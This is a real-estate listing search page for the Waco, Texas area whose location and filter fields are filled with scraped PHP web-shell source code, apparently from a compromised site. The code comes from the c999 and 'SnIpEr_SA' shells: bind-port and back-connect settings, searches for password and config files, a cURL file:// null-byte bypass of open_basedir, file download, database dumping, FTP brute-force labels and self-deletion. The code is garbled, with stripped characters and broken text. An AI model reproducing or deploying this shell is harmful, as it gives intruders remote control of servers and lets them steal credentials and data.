WHAT:
MLS #
Listing Title
Listing Type
For Lease For Sale
Property Type
Any Property Type
$accessdeniedmess = "<a href="http:// $ax4 ="http://" $bc_port = "31373" $bindport_pass = "c999" $bindport_port = "31373" $c999sh_sourcesurl = "http://ccteam.ru/files/ $c999sh_updateurl = "http://ccteam.ru/update/ $cmdaliases = array( $copy_unset = FALSE $curdir = "./" $cx4 ="/x." $cx7 =".com" $datapipe_localport = "8081" $disablefunc = @ini_get("disable_functions&qu $disablefunc = explode(",",$disablefunc) $disablefunc = str_replace(" ","&qu $donated_act = array("") $donated_html = "<center><b>Owned $exeftypes = array( $filestealth = TRUE $ftypes = array( $gzipencode = TRUE $hexdump_lines = 8 $hexdump_rows = 24 $highlight_background = "#c0c0c0" $highlight_bg = "#FFFFFF" $highlight_comment = "#6A6A6A" $highlight_default = "#0000BB" $highlight_html = "#1300FF" $highlight_keyword = "#007700" $highlight_string = "#000000" $host_allow = array("*") $lastdir = realpath(".") $login = "" $login_txt = "Restricted area" $log_email = "user@host.tld" $md5_pass = "" $nixpwdperpage = 100 $pass = "" $px7 ="html" $quicklaunch = array( $regxp_highlight = array( $s = "!^(".implode("|",$tmp).& $safemode_diskettes = array("a") $sess_cookie = "c999shvars" $sess_data = unserialize($_COOKIE["$sess_cook $sess_data["copy"] = array_unique($sess_ $sess_data["cut"] = array_unique($sess_d $shver = "1.0 pre-release build #16" $sort_default = "0a" $sort_save = TRUE $surl = "?".$includestr $surl = htmlspecialchars($surl) $surl_autofill_include = TRUE $timelimit = 0 $tmp = array() $tmpdir = "" $tmpdir_log = "./" $updatenow = FALSE $usefsbuff = TRUE $win = strtolower(substr(PHP_OS,0,3)) == "win $_REQUEST = array_merge($_COOKIE,$_GET,$_POST) <?php "code"=>array("php","p "download"=>array("exe",&qu "exe"=>array("sh","ins "html"=>array("html"," "img"=>array("gif","pn "ini"=>array("ini","in "perl %f%" => array("pl",&q "phpsess"=>array("sess"), "sdb"=>array("sdb"), "txt"=>array("txt","co ) */ ... /* Highlighted files. /* If you publish free shell and you wish // "{action1}"=>array("ext1&qu // "{action2}"=>array("ext4&qu // ... // string "command{i}"=>array(" // {command}: %f% = filename // ) // array( // /Next code isn't for editing/ // array (i=>{letter} ...) // Command-aliases // Registered executable file-types. // Registered file-types. //$curdir = getenv("DOCUMENT_ROOT") //$safemode_diskettes = range("a"," //Authentication //CONFIGURATION AND SETTINGS //DON'T FORGOT ABOUT PASSWORD!!! //END CONFIGURATION //Highlight-code colors //Quick launch //Starting calls 0 - files and folders (as default), 1 - files only, 2 - folders only @$f = $_REQUEST["f"] @extract($_REQUEST["c999shcook"]) @ignore_user_abort(TRUE) @set_magic_quotes_runtime(0) @set_time_limit(0) add link to your site or any other information, array( array("<b>Encoder</b>",$surl array("<b>Feedback</b>",$sur array("<b>FTP brute</b>",$su array("<b>Logout</b>"," array("<b>PHP-code</b>",$sur array("<b>Proc.</b>",$surl.& array("<b>Sec.</b>",$surl.&q array("<b>Self remove</b>",$ array("<b>SQL</b>",$surl.&qu array("<b>Tools</b>",$surl.& array("<b>Update</b>",$surl. array("<img src="".$surl."a array("<img src="".$surl."a array("<img src="".$surl."a array("<img src="".$surl."a array("<img src="".$surl."a array("<img src="".$surl."a array("<img src="".$surl."a array("-------------------------------------- array("-------------------------------------- array("config.php",1) // example array("find .bash_history files in current di array("find .fetchmailrc files in current dir array("find .htpasswd files in current dir&qu array("find all .bash_history files", &q array("find all .fetchmailrc files", &qu array("find all .htpasswd files", " array("find all service.pwd files", &quo array("find all sgid files", "find array("find all suid files", "find array("find all writable folders and files in array("find all writable folders and files&qu array("find config* files in current dir" array("find config* files", "find / array("find config.inc.php files", " array("find service.pwd files in current dir& array("find sgid files in current dir", array("find suid files in current dir", array("list file attributes on a Linux second array("show opened ports", "netstat array("show opened ports", "netstat array(basename($_SERVER["PHP_SELF"]),1,& bool {break} - if TRUE and found match then break chdir($curdir) define("starttime",getmicrotime()) else else {$surl = $_REQUEST["c999sh_surl"] elseif (!empty($set_surl)) {$surl = $set_surl error_reporting(5) exit($accessdeniedmess) foreach($host_allow as $k=>$v) {$tmp[] = str_re foreach($sess_data["copy"] as $k=>$v) foreach($sess_data["cut"] as $k=>$v) foreach($_REQUEST as $k=>$v) {if (!isset($$k)) function c999_buff_prepare() getenv("PHPRC")." -q %f%" => global $act global $sess_data header("HTTP/1.0 401 Unauthorized") header("WWW-Authenticate: Basic realm="c i=>array({regexp},{type},{opentag},{closetag},{ if (!$win) if (!empty($disablefunc)) if (!empty($login)) if (!empty($unset_surl)) {setcookie("c999sh_s if (!function_exists("c999_buff_prepare" if (!function_exists("getmicrotime")) {f if (!is_array($sess_data)) {$sess_data = array() if (!is_array($sess_data["copy"])) {$ses if (!is_array($sess_data["cut"])) {$sess if (!preg_match($s,getenv("REMOTE_ADDR") if ($act != "img") if ($selfwrite or $updatenow) {@ob_clean() if ($surl_autofill_include and !$_REQUEST["c9 if (($_SERVER["PHP_AUTH_USER"] != $login if (empty($login_txt)) {$login_txt = strip_tags(er if (empty($md5_pass)) {$md5_pass = md5($pass) if (empty($surl)) if (get_magic_quotes_gpc()) {if (!function_exists( int {type}: Multi-Family Home Other put here your html. */ Rentals Single Family Home sort($sess_data["copy"]) string {closetag} - close html-tag, e.g. "< string {opentag} - open html-tag, e.g. "<b string {regexp} - regular exp. Townhouse { }
WHERE:
Location
Select
Waco /nValley Mills /nRobinson /nChina Spring /nWest /nCrawford /nHewitt /nWoodway /nBellmead /nLacy Lakeview /nGholson /n<?php /n/******************************************************************************************************/ /n /n /n// $language='ru' - ??????? (russian) /n// $language='eng' - english (??????????) /n$language='eng' /n// ?????????????? | Authentification /n// $auth = 1 /n// $auth = 0 /n$auth = 0 /n /n /n /n /n$name='ec371748dc2da624b35a4f8f685dd122' /n$pass='ec371748dc2da624b35a4f8f685dd122' /nif(empty($_POST['SnIpEr_SA'])){ /n} else { /n$m=$_POST['SnIpEr_SA'] /n$ch = /ncurl_init("file:///".$m."x00/../../../../../../../../../../../../".__FILE__) /ncurl_exec($ch) /nvar_dump(curl_exec($ch)) /n} /necho "".htmlspecialchars($m)."" /nerror_reporting(0) /nset_magic_quotes_runtime(0) /n@set_time_limit(0) /n@ini_set('max_execution_time',0) /n@ini_set('output_buffering',0) /n$safe_mode = @ini_get('safe_mode') /n$version = '1.31' /nif(version_compare(phpversion(), '4.1.0') == -1) /n{ /n$_POST = &$HTTP_POST_VARS /n$_GET = &$HTTP_GET_VARS /n$_SERVER = &$HTTP_SERVER_VARS /n$_COOKIE = &$HTTP_COOKIE_VARS /nif (@get_magic_quotes_gpc()) /nforeach ($_POST as $k=>$v) /n$_POST[$k] = stripslashes($v) /nforeach ($_COOKIE as $k=>$v) /n$_COOKIE[$k] = stripslashes($v) /nif($auth == 1) { /nif (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass) /nheader('WWW-Authenticate: Basic realm="SnIpEr_SA"') /nheader('HTTP/1.0 401 Unauthorized') /nexit("<b><a href=http://3asfh.net>SnIpEr_SA</a> : Access Denied</b>") /n$head = '<!-- SnIpEr_SA --> /n<html> /n<head> /n<meta http-equiv="Content-Language" content="ar-sa"> /n<meta name="GENERATOR" content="Microsoft FrontPage 6.0"> /n<meta name="ProgId" content="FrontPage.Editor.Document"> /n<meta http-equiv="Content-Type" content="text/html /n<title>SnIpEr_SA shell</title> /n<STYLE> /nBODY { /nSCROLLBAR-FACE-COLOR: #800000 /ntr { /nBORDER-RIGHT: #aaaaaa 2px solid /nBORDER-TOP: #eeeeee 2px solid /nBORDER-LEFT: #eeeeee 2px solid /nBORDER-BOTTOM: #aaaaaa 2px solid /ncolor: #ffffff /ntd { /ncolor: #cccccc /n.table1 { /nBORDER: 1px /nBACKGROUND-COLOR: #333333 /ncolor: #333333 /n.td1 { /nfont: 7pt tahoma /n.tr1 { /ncolor: #2279D9 /ntable { /nBORDER: #eeeeee 2px outset /nBACKGROUND-COLOR: #272727 /ninput { /nBORDER-RIGHT: #ffffff 2px solid /nBORDER-TOP: #999999 2px solid /nBORDER-LEFT: #999999 2px solid /nBORDER-BOTTOM: #ffffff 2px solid /nBACKGROUND-COLOR: #800000 /nfont: 9pt tahoma /nselect { /nBACKGROUND-COLOR: #000000 /nsubmit { /nBORDER: buttonhighlight 2px outset /nwidth: 40% /ntextarea { /nBACKGROUND-COLOR: #3D3D3D /nfont: Fixedsys bold /nmargin: 2px /nA:link {COLOR:red /nA:visited { COLOR:red /nA:active {COLOR:red /nA:hover {color:blue /n</STYLE> /n<script language='javascript'> /nfunction hide_div(id) /ndocument.getElementById(id).style.display = 'none' /ndocument.cookie=id+'=0 /nfunction show_div(id) /ndocument.getElementById(id).style.display = 'block' /ndocument.cookie=id+'=1 /nfunction change_divst(id) /nif (document.getElementById(id).style.display == 'none') /nshow_div(id) /nelse /nhide_div(id) /n</script>' /nclass zipfile /nvar $datasec = array() /nvar $ctrl_dir = array() /nvar $eof_ctrl_dir = "x50x4bx05x06x00x00x00x00" /nvar $old_offset = 0 /nfunction unix2DosTime($unixtime = 0) { /n$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime) /nif ($timearray['year'] < 1980) { /n$timearray['year'] = 1980 /n$timearray['mon'] = 1 /n$timearray['mday'] = 1 /n$timearray['hours'] = 0 /n$timearray['minutes'] = 0 /n$timearray['seconds'] = 0 /nreturn (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | /n($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1) /nfunction addFile($data, $name, $time = 0) /n$name = str_replace('', '/', $name) /n$dtime = dechex($this->unix2DosTime($time)) /n$hexdtime = 'x' . $dtime[6] . $dtime[7] /n. 'x' . $dtime[4] . $dtime[5] /n. 'x' . $dtime[2] . $dtime[3] /n. 'x' . $dtime[0] . $dtime[1] /neval('$hexdtime = "' . $hexdtime . '" /n$fr = "x50x4bx03x04" /n$fr .= "x14x00" /n$fr .= "x00x00" /n$fr .= "x08x00" /n$fr .= $hexdtime /n$unc_len = strlen($data) /n$crc = crc32($data) /n$zdata = gzcompress($data) /n$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2) /n$c_len = strlen($zdata) /n$fr .= pack('V', $crc) /n$fr .= pack('V', $c_len) /n$fr .= pack('V', $unc_len) /n$fr .= pack('v', strlen($name)) /n$fr .= pack('v', 0) /n$fr .= $name /n$fr .= $zdata /n$this -> datasec[] = $fr /n$cdrec = "x50x4bx01x02" /n$cdrec .= "x00x00" /n$cdrec .= "x14x00" /n$cdrec .= "x00x00" /n$cdrec .= "x08x00" /n$cdrec .= $hexdtime /n$cdrec .= pack('V', $crc) /n$cdrec .= pack('V', $c_len) /n$cdrec .= pack('V', $unc_len) /n$cdrec .= pack('v', strlen($name) ) /n$cdrec .= pack('v', 0 ) /n$cdrec .= pack('v', 0 ) /n$cdrec .= pack('v', 0 ) /n$cdrec .= pack('v', 0 ) /n$cdrec .= pack('V', 32 ) /n$cdrec .= pack('V', $this -> old_offset ) /n$this -> old_offset += strlen($fr) /n$cdrec .= $name /n$this -> ctrl_dir[] = $cdrec /nfunction file() /n$data = implode('', $this -> datasec) /n$ctrldir = implode('', $this -> ctrl_dir) /nreturn /n$data . /n$ctrldir . /n$this -> eof_ctrl_dir . /npack('v', sizeof($this -> ctrl_dir)) . /npack('v', sizeof($this -> ctrl_dir)) . /npack('V', strlen($ctrldir)) . /npack('V', strlen($data)) . /n"x00x00" /nfunction compress(&$filename,&$filedump,$compress) /nglobal $content_encoding /nglobal $mime_type /nif ($compress == 'bzip' && @function_exists('bzcompress')) /n$filename .= '.bz2' /n$mime_type = 'application/x-bzip2' /n$filedump = bzcompress($filedump) /nelse if ($compress == 'gzip' && @function_exists('gzencode')) /n$filename .= '.gz' /n$content_encoding = 'x-gzip' /n$mime_type = 'application/x-gzip' /n$filedump = gzencode($filedump) /nelse if ($compress == 'zip' && @function_exists('gzcompress')) /n$filename .= '.zip' /n$mime_type = 'application/zip' /n$zipfile = new zipfile() /n$zipfile -> addFile($filedump, substr($filename, 0, -4)) /n$filedump = $zipfile -> file() /n$mime_type = 'application/octet-stream' /nfunction mailattach($to,$from,$subj,$attach) /n$headers = "From: $fromrn" /n$headers .= "MIME-Version: 1.0rn" /n$headers .= "Content-Type: ".$attach['type'] /n$headers .= " /n$headers .= "Content-Transfer-Encoding: base64rnrn" /n$headers .= chunk_split(base64_encode($attach['content']))."rn" /nif(@mail($to,$subj,"",$headers)) { return 1 /nreturn 0 /nclass my_sql /nvar $host = 'localhost' /nvar $port = '' /nvar $user = '' /nvar $pass = '' /nvar $base = '' /nvar $db = '' /nvar $connection /nvar $res /nvar $error /nvar $rows /nvar $columns /nvar $num_rows /nvar $num_fields /nvar $dump /nfunction connect() /nswitch($this->db) /ncase 'MySQL': /nif(empty($this->port)) { $this->port = '3306' /nif(!function_exists('mysql_connect')) return 0 /n$this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass) /nif(is_resource($this->connection)) return 1 /nbreak /ncase 'MSSQL': /nif(empty($this->port)) { $this->port = '1433' /nif(!function_exists('mssql_connect')) return 0 /n$this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass) /nif($this->connection) return 1 /ncase 'PostgreSQL': /nif(empty($this->port)) { $this->port = '5432' /n$str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'" /nif(!function_exists('pg_connect')) return 0 /n$this->connection = @pg_connect($str) /nif(is_resource($this->connection)) return 1 /ncase 'Oracle': /nif(!function_exists('ocilogon')) return 0 /n$this->connection = @ocilogon($this->user, $this->pass, $this->base) /nif(is_resource($this->connection)) return 1 /nfunction select_db() /nswitch($this->db) /ncase 'MySQL': /nif(@mysql_select_db($this->base,$this->connection)) return 1 /ncase 'MSSQL': /nif(@mssql_select_db($this->base,$this->connection)) return 1 /ncase 'PostgreSQL': /nreturn 1 /ncase 'Oracle': /nfunction query($query) /n$this->res=$this->error='' /nswitch($this->db) /ncase 'MySQL': /nif(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection))) /n$this->error = @mysql_error($this->connection) /nelse if(is_resource($this->res)) { return 1 /nreturn 2 /ncase 'MSSQL': /nif(false===($this->res=@mssql_query($query,$this->connection))) /n$this->error = 'Query error' /nelse if(@mssql_num_rows($this->res) > 0) { return 1 /ncase 'PostgreSQL': /nif(false===($this->res=@pg_query($this->connection,$query))) /n$this->error = @pg_last_error($this->connection) /nelse if(@pg_num_rows($this->res) > 0) { return 1 /ncase 'Oracle': /nif(false===($this->res=@ociparse($this->connection,$query))) /n$this->error = 'Query parse error' /nif(@ociexecute($this->res)) /nif(@ocirowcount($this->res) != 0) return 2 /n$error = @ocierror() /n$this->error=$error['message'] /nfunction get_result() /n$this->rows=array() /n$this->columns=array() /n$this->num_rows=$this->num_fields=0 /nswitch($this->db) /ncase 'MySQL': /n$this->num_rows=@mysql_num_rows($this->res) /n$this->num_fields=@mysql_num_fields($this->res) /nwhile(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))) /n@mysql_free_result($this->res) /nif($this->num_rows){$this->columns = @array_keys($this->rows[0]) /ncase 'MSSQL': /n$this->num_rows=@mssql_num_rows($this->res) /n$this->num_fields=@mssql_num_fields($this->res) /nwhile(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))) /n@mssql_free_result($this->res) /nif($this->num_rows){$this->columns = @array_keys($this->rows[0]) /ncase 'PostgreSQL': /n$this->num_rows=@pg_num_rows($this->res) /n$this->num_fields=@pg_num_fields($this->res) /nwhile(false !== ($this->rows[] = @pg_fetch_assoc($this->res))) /n@pg_free_result($this->res) /nif($this->num_rows){$this->columns = @array_keys($this->rows[0]) /ncase 'Oracle': /n$this->num_fields=@ocinumcols($this->res) /nwhile(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++ /n@ocifreestatement($this->res) /nif($this->num_rows){$this->columns = @array_keys($this->rows[0]) /nfunction dump($table) /nif(empty($table)) return 0 /n$this->dump=array() /n$this->dump[0] = '##' /n$this->dump[1] = '## --------------------------------------- ' /n$this->dump[2] = '## Created: '.date ("d/m/Y H:i:s") /n$this->dump[3] = '## Database: '.$this->base /n$this->dump[4] = '## Table: '.$table /n$this->dump[5] = '## --------------------------------------- ' /nswitch($this->db) /ncase 'MySQL': /n$this->dump[0] = '## MySQL dump' /nif($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0 /nif(!$this->get_result()) return 0 /n$this->dump[] = $this->rows[0]['Create Table'] /n$this->dump[] = '## --------------------------------------- ' /nif($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0 /nif(!$this->get_result()) return 0 /nfor($i=0 /nforeach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v) /n$this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (''.@implode("', '", $this->rows[$i]).'') /ncase 'MSSQL': /n$this->dump[0] = '## MSSQL dump' /nif($this->query('SELECT * FROM '.$table)!=1) return 0 /nif(!$this->get_result()) return 0 /nforeach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v) /n$this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (''.@implode("', '", $this->rows[$i]).'') /ncase 'PostgreSQL': /n$this->dump[0] = '## PostgreSQL dump' /nif($this->query('SELECT * FROM '.$table)!=1) return 0 /nif(!$this->get_result()) return 0 /nforeach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v) /n$this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (''.@implode("', '", $this->rows[$i]).'') /ncase 'Oracle': /n$this->dump[0] = '## ORACLE dump' /n$this->dump[] = '## under construction' /ndefault: /nfunction close() /nswitch($this->db) /ncase 'MySQL': /n@mysql_close($this->connection) /ncase 'MSSQL': /n@mssql_close($this->connection) /ncase 'PostgreSQL': /n@pg_close($this->connection) /ncase 'Oracle': /n@oci_close($this->connection) /nfunction affected_rows() /nswitch($this->db) /ncase 'MySQL': /nreturn @mysql_affected_rows($this->res) /ncase 'MSSQL': /nreturn @mssql_affected_rows($this->res) /ncase 'PostgreSQL': /nreturn @pg_affected_rows($this->res) /ncase 'Oracle': /nreturn @ocirowcount($this->res) /nif(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) /nif(!$file=@fopen($_POST['d_name'],"r")) { err(1,$_POST['d_name']) /n@ob_clean() /n$filename = @basename($_POST['d_name']) /n$filedump = @fread($file,@filesize($_POST['d_name'])) /nfclose($file) /n$content_encoding=$mime_type='' /ncompress($filename,$filedump,$_POST['compress']) /nif (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding) /nheader("Content-type: ".$mime_type) /nheader("Content-disposition: attachment /necho $filedump /nexit() /nif(isset($_GET['phpinfo'])) { echo @phpinfo() /nif (!empty($_POST['cmd']) && $_POST['cmd']=="db_query") /necho $head /n$sql = new my_sql() /n$sql->db = $_POST['db'] /n$sql->host = $_POST['db_server'] /n$sql->port = $_POST['db_port'] /n$sql->user = $_POST['mysql_l'] /n$sql->pass = $_POST['mysql_p'] /n$sql->base = $_POST['mysql_db'] /n$querys = @explode(' /necho '<body bgcolor=#000000>' /nif(!$sql->connect()) echo "<div align=center><font face=tahoma size=-2 color=red><b>Can't connect to SQL server</b></font></div>" /nif(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=tahoma size=-2 color=red><b>Can't select database</b></font></div>" /nforeach($querys as $num=>$query) /nif(strlen($query)>5) /necho "<font face=tahoma size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>" /nswitch($sql->query($query)) /ncase '0': /necho "<table width=100%><tr><td><font face=tahoma size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>" /ncase '1': /nif($sql->get_result()) /necho "<table width=100%>" /nforeach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES) /n$keys = @implode("  /necho "<tr><td bgcolor=#333333><font face=tahoma size=-2><b>  /nforeach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES) /n$values = @implode("  /necho '<tr><td><font face=tahoma size=-2>  /necho "</table>" /ncase '2': /n$ar = $sql->affected_rows()?($sql->affected_rows()):('0') /necho "<table width=100%><tr><td><font face=tahoma size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>" /necho "<br><form name=form method=POST>" /necho in('hidden','db',0,$_POST['db']) /necho in('hidden','db_server',0,$_POST['db_server']) /necho in('hidden','db_port',0,$_POST['db_port']) /necho in('hidden','mysql_l',0,$_POST['mysql_l']) /necho in('hidden','mysql_p',0,$_POST['mysql_p']) /necho in('hidden','mysql_db',0,$_POST['mysql_db']) /necho in('hidden','cmd',0,'db_query') /necho "<div align=center>" /necho "<font face=tahoma size=-2><b>Base: </b><input type=text name=mysql_db value="".$sql->base.""></font><br>" /necho "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES /necho "</form>" /necho "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>" /nif(isset($_GET['delete'])) /n@unlink(__FILE__) /nif(isset($_GET['tmp'])) /n@unlink("/tmp/bdpl") /n@unlink("/tmp/back") /n@unlink("/tmp/bd") /n@unlink("/tmp/bd.c") /n@unlink("/tmp/dp") /n@unlink("/tmp/dpc") /n@unlink("/tmp/dpc.c") /nif(isset($_GET['phpini'])) /nfunction U_value($value) /nif ($value == '') return '<i>no value</i>' /nif (@is_bool($value)) return $value ? 'TRUE' : 'FALSE' /nif ($value === null) return 'NULL' /nif (@is_object($value)) $value = (array) $value /nif (@is_array($value)) /n@ob_start() /nprint_r($value) /n$value = @ob_get_contents() /n@ob_end_clean() /nreturn U_wordwrap((string) $value) /nfunction U_wordwrap($str) /n$str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true) /nreturn @preg_replace('!(&[^ /nif (@function_exists('ini_get_all')) /n$r = '' /necho '<table width=100%>', '<tr><td bgcolor=#000000><font face=tahoma size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#000000><font face=tahoma size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#000000><font face=tahoma size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>' /nforeach (@ini_get_all() as $key=>$value) /n$r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.$key.'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=tahoma size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>' /necho $r /necho '</table>' /necho "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>" /ndie() /nif(isset($_GET['cpu'])) /necho '<table width=100%><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>' /n$cpuf = @file("cpuinfo") /nif($cpuf) /n$c = @sizeof($cpuf) /n$info = @explode(":",$cpuf[$i]) /n$r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>' /necho '<tr><td>'.ws(3).'<div align=center><font face=tahoma size=-2><b> --- </b></font></div></td></tr>' /necho '</table>' /necho "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>" /nif(isset($_GET['mem'])) /necho '<table width=100%><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>' /n$memf = @file("meminfo") /nif($memf) /n$c = sizeof($memf) /n$info = explode(":",$memf[$i]) /n$r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>' /necho '<tr><td>'.ws(3).'<div align=center><font face=tahoma size=-2><b> --- </b></font></div></td></tr>' /necho '</table>' /necho "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>" /n$lang=array( /n'ru_text1' =>'??????????? ???????', /n'ru_text2' =>'?????????? ?????? ?? ???????', /n'ru_text3' =>'????????? ???????', /n'ru_text4' =>'??????? ??????????', /n'ru_text5' =>'???????? ?????? ?? ??????', /n'ru_text6' =>'????????? ????', /n'ru_text7' =>'??????', /n'ru_text8' =>'???????? ?????', /n'ru_butt1' =>'?????????', /n'ru_butt2' =>'?????????', /n'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash', /n'ru_text10'=>'??????? ????', /n'ru_text11'=>'?????? ??? ???????', /n'ru_butt3' =>'???????', /n'ru_text12'=>'back-connect', /n'ru_text13'=>'IP-?????', /n'ru_text14'=>'????', /n'ru_butt4' =>'?????????', /n'ru_text15'=>'???????? ?????? ? ?????????? ???????', /n'ru_text16'=>'????????????', /n'ru_text17'=>'????????? ????', /n'ru_text18'=>'????????? ????', /n'ru_text19'=>'Exploits', /n'ru_text20'=>'????????????', /n'ru_text21'=>'????? ???', /n'ru_text22'=>'datapipe', /n'ru_text23'=>'????????? ????', /n'ru_text24'=>'????????? ????', /n'ru_text25'=>'????????? ????', /n'ru_text26'=>'????????????', /n'ru_butt5' =>'?????????', /n'ru_text28'=>'?????? ? safe_mode', /n'ru_text29'=>'?????? ????????', /n'ru_butt6' =>'???????', /n'ru_text30'=>'???????? ?????', /n'ru_butt7' =>'???????', /n'ru_text31'=>'???? ?? ??????', /n'ru_text32'=>'?????????? PHP ????', /n'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL', /n'ru_butt8' =>'?????????', /n'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include', /n'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql', /n'ru_text36'=>'???? . ???????', /n'ru_text37'=>'?????', /n'ru_text38'=>'??????', /n'ru_text39'=>'????', /n'ru_text40'=>'???? ??????? ???? ??????', /n'ru_butt9' =>'????', /n'ru_text41'=>'????????? ? ?????', /n'ru_text42'=>'?????????????? ?????', /n'ru_text43'=>'????????????? ????', /n'ru_butt10'=>'?????????', /n'ru_butt11'=>'?????????????', /n'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!', /n'ru_text45'=>'???? ????????', /n'ru_text46'=>'???????? phpinfo()', /n'ru_text47'=>'???????? ???????? php.ini', /n'ru_text48'=>'???????? ????????? ??????', /n'ru_text49'=>'???????? ??????? ? ???????', /n'ru_text50'=>'?????????? ? ??????????', /n'ru_text51'=>'?????????? ? ??????', /n'ru_text52'=>'????? ??? ??????', /n'ru_text53'=>'?????? ? ?????', /n'ru_text54'=>'????? ?????? ? ??????', /n'ru_butt12'=>'?????', /n'ru_text55'=>'?????? ? ??????', /n'ru_text56'=>'?????? ?? ???????', /n'ru_text57'=>'???????/??????? ????/??????????', /n'ru_text58'=>'???', /n'ru_text59'=>'????', /n'ru_text60'=>'??????????', /n'ru_butt13'=>'???????/???????', /n'ru_text61'=>'???? ??????', /n'ru_text62'=>'?????????? ???????', /n'ru_text63'=>'???? ??????', /n'ru_text64'=>'?????????? ???????', /n'ru_text65'=>'???????', /n'ru_text66'=>'???????', /n'ru_text67'=>'Chown/Chgrp/Chmod', /n'ru_text68'=>'???????', /n'ru_text69'=>'????????1', /n'ru_text70'=>'????????2', /n'ru_text71'=>"?????? ???????? ???????:rn- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) rn- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) rn- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)", /n'ru_text72'=>'????? ??? ??????', /n'ru_text73'=>'?????? ? ?????', /n'ru_text74'=>'?????? ? ??????', /n'ru_text75'=>'* ????? ???????????? ?????????? ?????????', /n'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find', /n'ru_text80'=>'???', /n'ru_text81'=>'????', /n'ru_text82'=>'???? ??????', /n'ru_text83'=>'?????????? SQL ???????', /n'ru_text84'=>'SQL ??????', /n'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????', /n'ru_text86'=>'?????????? ????? ? ???????', /n'ru_butt14'=>'???????', /n'ru_text87'=>'?????????? ?????? ? ?????????? ftp-???????', /n'ru_text88'=>'FTP-??????:????', /n'ru_text89'=>'???? ?? ftp ???????', /n'ru_text90'=>'????? ????????', /n'ru_text91'=>'???????????? ?', /n'ru_text92'=>'??? ?????????', /n'ru_text93'=>'FTP', /n'ru_text94'=>'FTP-????????', /n'ru_text95'=>'?????? ?????????????', /n'ru_text96'=>'?? ??????? ???????? ?????? ?????????????', /n'ru_text97'=>'????????? ??????????: ', /n'ru_text98'=>'??????? ???????????: ', /n'ru_text99'=>'* ? ???????? ?????? ? ?????? ???????????? ??? ???????????? ?? /etc/passwd', /n'ru_text100'=>'???????? ?????? ?? ????????? ??? ??????', /n'ru_text101'=>'???????????? ????? ???????????? (user -> resu) ??? ???????????? ? ???????? ??????', /n'ru_text102'=>'?????', 